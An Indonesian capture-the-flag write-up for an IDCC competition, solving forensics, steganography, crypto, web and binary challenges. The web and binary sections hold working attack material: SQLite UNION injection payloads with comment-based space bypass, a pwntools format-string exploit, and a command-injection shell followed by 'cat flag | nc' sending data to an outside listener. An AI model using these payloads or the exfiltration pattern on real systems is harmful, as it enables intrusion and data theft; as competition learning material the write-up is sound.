Write UP Indonesian Cyber Security Competitions CTF

Nama : Bayu Fedra Abdullah

Forensic

Freedom

Diberikan file image.img, setelah di analisis menggunakan autopsy terdapat beberapa file yang di delete tapi tidak ada petunjuk apa-apa. saat di ekstract isinya menggunakan binwalk di dapatkan file flag.lua yang berisi obfuscate namun ada beberapa karakter desimal yang keliatan printable karakter, decode dengan script :

```
x = "45','45','47','47','32','68','101','99','111','109','112','105','108','101','100','32','67',
'111','100','101','46','32','10','114','101','113','117','105','114','101','32','34','110','105',
'120','105','111','46','102','115','34','10','114','101','113','117','105','114','101','32','34',
'105','111','34','10','10','32','32','32','108','111','99','97','108','32','102','61','105','111'
,'46','111','112','101','110','40','34','47','114','111','111','116','47','110','111','116','101'
,'115','46','116','120','116','34','44','34','114','34','41','10','32','32','32','105','102','32'
,'102','126','61','110','105','108','32','116','104','101','110','32','10','32','32','32','112','
114','105','110','116','40','34','73','68','67','67','123','79','112','101','110','87','82','84',
'105','53','57','48','48','68','33','125','34','41','10','10','32','32','32','101','108','115','1
01','32','10','32','32','32','112','114','105','110','116','40','34','87','101','32','97','108','
108','32','108','105','118','101','32','101','118','101','114','121','32','100','97','121','32','
105','110','32','118','105','114','116','117','97','108','32','101','110','118','105','114','111'
,'110','109','101','110','116','115','44','32','100','101','102','105','110','101','100','32','98
','121','32','111','117','114','32','105','100','101','97','115','46','34','41','10','10','32','3
2','32','101','110','100','10'".split(",")

print "".join(chr(int(i.replace("'", ""))) for i in x)
```

Flag : IDCC{OpenWRTi5900D!}

Stegano

Secret Message

Diberikan file password.jpg dan stored.jpg, saat di lihat pada baju bapak yo dawg di password.jpg terdapat string hexa **“4c3133744d65496e”**, jika di decode menjadi **“L13tMeIn”**, gunakan sebagai password untuk mengektract file di stored.jpg, tetapi password ternyata salah, edit menjadi **“L33tMeIn”**, ntah di sengaja/tidak typo ini, maka akan mendapatkan file password.txt yang berisi **“5uperBStr0ngP4ass”**, gunakan sebagai password untuk mengekstract flag di password.jpg maka akan keluar flag.txt

Flag : IDCC{Ch4in1nG_5teg0_p4ssW0rD_}

MPPPssst

Diberikan file cover.jpg dan telordadar.mp3, Setelah di analisis ini merupakan audiostegano dan bisa di solving menggunakan tools https://github.com/danielcardeenas/AudioStego

```
~$ git clone https://github.com/danielcardeenas/AudioStego.git
~$ cd AudioStego
~$ mkdir build
~$ cd build
~$ cmake ..
~$ make
~$ ./hideme ../../telordardarrr.mp3 -f
```

Flag : IDCC{st3Gano_s0und_n_h1d3}

Crypto

DecryptME

diberikan file decryptme.py dan enkripsi yang berisi :

```
from base64 import *
def enkripsi(plain, keys):
    enc = []
    plain = b64encode(plain)
    for i, l in enumerate(plain):
        kunci = ord(keys[i % len(keys)])
        teks = ord(l)
        enc.append(chr((teks + kunci) % 127))
    return ''.join(enc)
```

jadi disini kita harus mencari key nya terlebih dahulu, disini kita bisa memanfaatkan format flag “IDCC” untuk mencari key nya

```
In [18]: f = open("enkripsi", "r").read()[:6]

In [19]: idcc = "SURDQw"

In [20]: "".join(chr(ord(f[i])+(127-ord(idcc[i]))) for i in range(len(f)))
Out[20]: 'rajar\x1d'
```

di dapatkan key adalah raja, reverse dengan script:

```
In [5]: f = open("enkripsi", "r").read()

In [6]: key = "raja"

In [7]: print "".join(chr(127 - (ord(key[i%len(key)])-ord(f[i]))) for i in range(len(f))).decode(
"base64")
IDCC{S1mpl3_4nd_stR4ight}
```

Flag : IDCC{S1mpl3_4nd_stR4ight}

OldCrypt

Diberikan file flag dan kunci, flag terlihat seperti di enkripsi dengan subtitutions, cek file kunci isinya adalah `r404404loa404kcf404tebhv404zmd404sgnx404ypqw404iju`, hilangkan angka 404

```
In [23]: "r404404loa404kcf404tebhv404zmd404sgnx404ypqw404iju".replace("404", "")
Out[23]: 'rloakcftebhvzmdsgnxypqwiju'
```

jadi “rloakcftebhvzmdsgnxypqwiju” == “abcdefghijklmnopqrstuvwxyz”, karena sudah mendapatkan key subtitusinya, agar cepat gunakan web online pada halaman https://quipqiup.com/

Flag : IDCC{y0u_Pwn3D_m3_n1Ce}

Web

Do not cheat!

Diberikan web dengan url http://206.189.88.9:6301/ dengan tampilan seperti web Hweker, ketika di cek page source terdapat terdapat string mencurigakan, yaitu:

```
$.post("flag.php",function(t){alert(t)})
```

kita bisa memanggil flag dengan script ini dengan cara memasukkannya ke console browser, maka flag akan di alert

Flag : IDCC{0nlY_th3_we4K_che4T}

007

Diberikan web dengan url http://206.189.88.9:9001/ yang terlihat gambar android error, ganti user agent menjadi android
`Mozilla/5.0 (Linux; Android 4.2.1; en-us; Wibu 5 Build/Halah)` akan berubah tampilan menjadi game PUBG (kalau tidak salah), ketika di klik akan mendownload aplikasi, decompile aplikasinya pada http://www.javadecompilers.com/apk , cek hasil decompile pada resources/res/values/strings.xml akan terdapat :

```
    <string name="action_settings">Settings</string>
    <string name="app_host">007_h0st.txt</string>
    <string name="app_name">007</string>
    <string name="app_origin">agent_007.com</string>
    <string name="app_param">agent</string>
    <string name="app_value">0071337</string>
    <string name="app_verb">POST</string>
```

kita bisa menampilkan flag dengan melakukan requests dengan command :

```
$ curl -X POST -H "Origin: agent_007.com" --data "agent=0071337" http://206.189.88.9:9001/flag.ph
p
```

Flag : IDCC{s0metim3Z_ag3nt_iZ_us3fuLL}

Pesanan kedua

Awalanya saya mengira kalau web ini memiliki bug IDOR, tapi saat mencoba mengganti username menjadi **”‘`** lalu menuju profil web menjadi blank, kemungkinan ini adalah SQL injection dengan penutup query adalah quote **“**
saat menginputkan `"UNION SELECT 1-- -` ternyata space di replace menjadi underscore, jadi kita bisa memanfaatkan space to comment /**/ menjadi `"UNION/**/SELECT/**/1--+-` , lalu cek source akan muncul `<!-- debug : 1||-->`, setelah berkali-kali mencoba menginject dengan quert MySQL namun tidak berhasil saya pun menangid, setelah sesaat menangid saya pun mendapat pencerahan mencoba query inject database lain yaitu SQLite dan ternyata bisa, lalu tinggal lanjutkan
Get table :

```
"UNION/**/SELECT/**/sql/**/from/**/sqlite_master--+-
```

di dapatkan respond :

```
<!-- debug : |CREATE TABLE "users_regizt" (
  "id" integer NOT NULL PRIMARY KEY AUTOINCREMENT,
  "name" text NULL,
  "username" text NULL,
  "password" text NULL,
  "time" numeric NULL
)|CREATE TABLE sqlite_sequence(name,seq)|-->
```

lihat list user dengan query :

```
"UNION/**/SELECT/**/name/**/from/**/users_regizt--+-
```

terdapat banya user namun ada 1 user yang mencurigakan yaitu **zuperadmin**
karena setiap secret key kita decode menjadi epoch time, disini kitatinggal mencari time dari zuperadmin untuk mendapatkan secret key nya dengan query:

```
"UNION/**/SELECT/**/time/**/from/**/users_regizt/**/where/**/name="zuperadmin"--+-
```

di dapatkan respond :

```
<!-- debug : |1990-09-09 09:09:09|-->
```

convert ke epoch dengan python :

```
In [43]: import datetime

In [44]: datetime.datetime(1990,9,9,9,9,9).strftime('%s').encode("base64")
Out[44]: 'NjUyODg1NzQ5\n'
```

epoch time adalah 652871349 dan base64 nya adalah NjUyODcxMzQ5 akan tetapi masih invalid, setelah di telusuri web kemungkinan menampah epoch time dengan epoch time

`Thu Jan 1 02:00:00 1970` atau 25200 jadi epoch time admin di kurangi dengan 25200 menjadi 652846149, encode base64 **NjUyODcxMzQ5** dan jadikan secret key lalu cek profile akan mendapatkan flag

Flag : IDCC{n1c3_one_th1z_iz_Sec0nD_0rdEr_Sqli}

Binary Exploit

Format Play

Diberikan sebuah binary Elf 32-bit executable, agar mudah untuk mereverse, decompile menggunakan IDA, hasil decompile fungsi main :

```
  if ( secret == 0xBEEF )
  {
    puts("Congratulations!");
    system("/bin/cat ./flag.txt");
  }
  else
  {
    v39 = secret;
    printf("secret: %d\n", secret);
    puts("hahaha... shame");
  }
```

terlihat bila kita bisa merubah nilai secret menjadi 0xBEEF maka system akan memanggil cat flag.txt, dengan bug format string yang terdapat pada binary kita bisa memanfaatkannya untuk merubah nilai secret

```
#!/usr/bin/env python

from pwn import *

nc = remote("178.128.106.125", 13373)

payload = p32(0x0804A034)
payload += '%48875x'
payload += '%7$n'

nc.sendline(payload)
print nc.recvline()
```

Flag : IDCC{M4nipulat1n9_F0rm4t_for_pR0f1T_$$$}

Password Generator

Diberikan service untuk di remote pada alamat `nc 178.128.106.125 1337`, setelah di analisa ternyata terdapat bug command injection karena saat di masukan single quote terdapat error, masukan command **'&bash'** untuk mendapatkan shell, tapi setelah di apa-apakan tidak terdapat output, tapi kita bisa memanfaatkan nc untuk mengirim flag ke server kita, disini saya cuman minjem punya temen :'((nangid)
command server ~~kita~~ (pinjaman) :

```
nc -lvp 1337
```

dari service yang vuln setelah mendapatkan shell :

```
cat flag | nc IP_Server_Pinjaman 1337
```

Flag : IDCC{Br3ak_Y0urZ_LImIT}